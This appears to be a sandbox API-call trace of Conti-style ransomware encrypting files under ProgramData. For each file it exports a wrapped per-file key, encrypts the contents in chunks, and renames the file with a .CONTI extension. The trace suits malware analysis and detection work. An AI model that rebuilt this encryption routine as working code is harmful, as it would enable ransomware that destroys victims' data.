	[0114.265] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b561d8 | out: hHeap=0x1720000) returned 1
	[0114.265] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0114.265] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b4d2a8 | out: phKey=0x6b4d2a8*=0x17c7b30) returned 1
	[0114.265] CryptExportKey (in: hKey=0x17c7b30, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4d2ac, pdwDataLen=0x483fb8c | out: pbData=0x6b4d2ac*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0114.266] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0114.266] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x30c
	[0114.266] GetLastError () returned 0x0
	[0114.266] GetFileSizeEx (in: hFile=0x30c, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=727) returned 1
	[0114.266] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0114.266] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0114.266] SetEndOfFile (hFile=0x30c) returned 1
	[0114.267] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0114.267] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0114.267] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4d2ac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2ac*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0115.100] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.100] ReadFile (in: hFile=0x30c, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2d7, lpOverlapped=0x0) returned 1
	[0115.100] CryptEncrypt (in: hKey=0x17c7b30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2d7, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2e0) returned 1
	[0115.100] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0115.101] WriteFile (in: hFile=0x30c, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2e0, lpOverlapped=0x0) returned 1
	[0115.101] SetFilePointerEx (in: hFile=0x30c, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0115.101] WriteFile (in: hFile=0x30c, lpBuffer=0x6b4d2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b4d2a0*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0115.101] SetFilePointer (in: hFile=0x30c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0115.101] CloseHandle (hObject=0x30c) returned 1
	[0116.243] GetProcessHeap () returned 0x1720000
	[0116.243] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x68887f0
	[0116.244] lstrcpyW (in: lpString1=0x68887f0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml"
	[0116.244] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml.CONTI"
	[0116.244] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\7__Connections_Cellular_Hutchison - 3 (Australia)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\7__connections_cellular_hutchison - 3 (australia)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0116.750] GetProcessHeap () returned 0x1720000
	[0116.750] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x68887f0 | out: hHeap=0x1720000) returned 1
	[0116.777] CryptDestroyKey (hKey=0x17c7b30) returned 1
	[0116.778] GetProcessHeap () returned 0x1720000
	[0116.778] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65c9ba8 | out: hHeap=0x1720000) returned 1
	[0116.778] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0116.778] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b53030 | out: phKey=0x6b53030*=0x6b7f038) returned 1
	[0116.778] CryptExportKey (in: hKey=0x6b7f038, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b53034, pdwDataLen=0x483fb8c | out: pbData=0x6b53034*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0116.780] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80")) returned 0x20
	[0116.780] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0116.781] GetLastError () returned 0x0
	[0116.781] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=13622339) returned 1
	[0116.781] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xcfdc43
	[0116.781] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0116.781] SetEndOfFile (hFile=0x3f0) returned 1
	[0116.781] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.781] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0116.781] WriteFile (in: hFile=0x3f0, lpBuffer=0x6b53034*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b53034*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0116.784] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0116.784] ReadFile (in: hFile=0x3f0, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x500000, lpOverlapped=0x0) returned 1
	[0121.789] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000) returned 1
	[0121.795] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0121.795] WriteFile (in: hFile=0x3f0, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x500000, lpOverlapped=0x0) returned 1
	[0123.402] ReadFile (in: hFile=0x3f0, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x500000, lpOverlapped=0x0) returned 1
	[0124.174] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000) returned 1
	[0124.179] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x500000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.180] WriteFile (in: hFile=0x3f0, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x500000, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x500000, lpOverlapped=0x0) returned 1
	[0126.785] ReadFile (in: hFile=0x3f0, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x2fdc43, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x2fdc43, lpOverlapped=0x0) returned 1
	[0126.816] CryptEncrypt (in: hKey=0x6b7f038, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2fdc43, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x2fdc50) returned 1
	[0126.819] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xa00000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0126.819] WriteFile (in: hFile=0x3f0, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x2fdc50, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x2fdc50, lpOverlapped=0x0) returned 1
	[0129.145] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.145] WriteFile (in: hFile=0x3f0, lpBuffer=0x6b53028*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b53028*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0129.145] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.145] CloseHandle (hObject=0x3f0) returned 1
	[0129.145] GetProcessHeap () returned 0x1720000
	[0129.145] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.145] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80"
	[0129.145] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.CONTI") returned="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.CONTI"
	[0129.145] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.80.CONTI" (normalized: "c:\\programdata\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.80.conti")) returned 1
	[0129.146] GetProcessHeap () returned 0x1720000
	[0129.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.146] CryptDestroyKey (hKey=0x6b7f038) returned 1
	[0129.146] GetProcessHeap () returned 0x1720000
	[0129.146] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180c388 | out: hHeap=0x1720000) returned 1
	[0129.146] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0129.147] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b459c0 | out: phKey=0x6b459c0*=0x17c7ff0) returned 1
	[0129.147] CryptExportKey (in: hKey=0x17c7ff0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b459c4, pdwDataLen=0x483fb8c | out: pbData=0x6b459c4*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0129.147] GetFileAttributesW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.027.etl")) returned 0x2020
	[0129.147] CreateFileW (lpFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.027.etl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f0
	[0129.148] GetLastError () returned 0x0
	[0129.148] GetFileSizeEx (in: hFile=0x3f0, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=16384) returned 1
	[0129.148] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4000
	[0129.148] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.148] SetEndOfFile (hFile=0x3f0) returned 1
	[0129.148] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.148] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.148] WriteFile (in: hFile=0x3f0, lpBuffer=0x6b459c4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b459c4*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0129.150] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.150] ReadFile (in: hFile=0x3f0, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x4000, lpOverlapped=0x0) returned 1
	[0129.818] CryptEncrypt (in: hKey=0x17c7ff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x4000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x4010) returned 1
	[0129.818] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0129.818] WriteFile (in: hFile=0x3f0, lpBuffer=0xcb20000*, nNumberOfBytesToWrite=0x4010, lpNumberOfBytesWritten=0x483fb78, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesWritten=0x483fb78*=0x4010, lpOverlapped=0x0) returned 1
	[0129.818] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0129.818] WriteFile (in: hFile=0x3f0, lpBuffer=0x6b459b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x483fb90, lpOverlapped=0x0 | out: lpBuffer=0x6b459b8*, lpNumberOfBytesWritten=0x483fb90*=0x8, lpOverlapped=0x0) returned 1
	[0129.818] SetFilePointer (in: hFile=0x3f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0129.818] CloseHandle (hObject=0x3f0) returned 1
	[0129.818] GetProcessHeap () returned 0x1720000
	[0129.818] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x180ce48
	[0129.819] lstrcpyW (in: lpString1=0x180ce48, lpString2="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl"
	[0129.819] lstrcatW (in: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.CONTI") returned="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.CONTI"
	[0129.819] MoveFileW (lpExistingFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.027.etl"), lpNewFileName="C:\\ProgramData\\USOShared\\Logs\\UpdateSessionOrchestration.027.etl.CONTI" (normalized: "c:\\programdata\\usoshared\\logs\\updatesessionorchestration.027.etl.conti")) returned 1
	[0129.819] GetProcessHeap () returned 0x1720000
	[0129.819] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x180ce48 | out: hHeap=0x1720000) returned 1
	[0129.819] CryptDestroyKey (hKey=0x17c7ff0) returned 1
	[0129.819] GetProcessHeap () returned 0x1720000
	[0129.819] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6c02238 | out: hHeap=0x1720000) returned 1
	[0129.819] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0134.012] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b452e8 | out: phKey=0x6b452e8*=0x17c83f0) returned 1
	[0134.012] CryptExportKey (in: hKey=0x17c83f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b452ec, pdwDataLen=0x483fb8c | out: pbData=0x6b452ec*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0134.013] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml")) returned 0x20
	[0134.013] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\UEV\\InboxTemplates\\MicrosoftNotepad.xml" (normalized: "c:\\users\\all users\\microsoft\\uev\\inboxtemplates\\microsoftnotepad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0134.013] GetLastError () returned 0x5
	[0134.013] CryptDestroyKey (hKey=0x17c83f0) returned 1
	[0134.013] GetProcessHeap () returned 0x1720000
	[0134.013] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6895cc0 | out: hHeap=0x1720000) returned 1
	[0134.013] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x483fbb4, lpCompletionKey=0x483fbb8, lpOverlapped=0x483fbc4) returned 1
	[0134.709] CryptGenKey (in: hProv=0x1768e08, Algid=0x6610, dwFlags=0x1, phKey=0x6b47bf8 | out: phKey=0x6b47bf8*=0x17c85f0) returned 1
	[0134.709] CryptExportKey (in: hKey=0x17c85f0, hExpKey=0x175de70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b47bfc, pdwDataLen=0x483fb8c | out: pbData=0x6b47bfc*, pdwDataLen=0x483fb8c*=0x20c) returned 1
	[0135.471] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b")) returned 0x20
	[0135.472] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows Defender\\Scans\\mpcache-CC7537BD57F4E352D7CDEA5852D447A507E0F749.bin.5B" (normalized: "c:\\users\\all users\\microsoft\\windows defender\\scans\\mpcache-cc7537bd57f4e352d7cdea5852d447a507e0f749.bin.5b"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc
	[0135.473] GetLastError () returned 0x0
	[0135.473] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x483fb38 | out: lpFileSize=0x483fb38*=26126356) returned 1
	[0135.473] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x18ea814
	[0135.473] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x230, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.473] SetEndOfFile (hFile=0x2fc) returned 1
	[0135.473] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.473] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.473] WriteFile (in: hFile=0x2fc, lpBuffer=0x6b47bfc*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x483fb44, lpOverlapped=0x0 | out: lpBuffer=0x6b47bfc*, lpNumberOfBytesWritten=0x483fb44*=0x20c, lpOverlapped=0x0) returned 1
	[0135.473] SetFilePointer (in: hFile=0x2fc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0135.473] ReadFile (in: hFile=0x2fc, lpBuffer=0xcb20000, nNumberOfBytesToRead=0x500000, lpNumberOfBytesRead=0x483fb64, lpOverlapped=0x0 | out: lpBuffer=0xcb20000*, lpNumberOfBytesRead=0x483fb64*=0x500000, lpOverlapped=0x0) returned 1
	[0136.793] CryptEncrypt (in: hKey=0x17c85f0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000, dwBufLen=0x500000 | out: pbData=0xcb20000*, pdwDataLen=0x483fb5c*=0x500000) returned 1
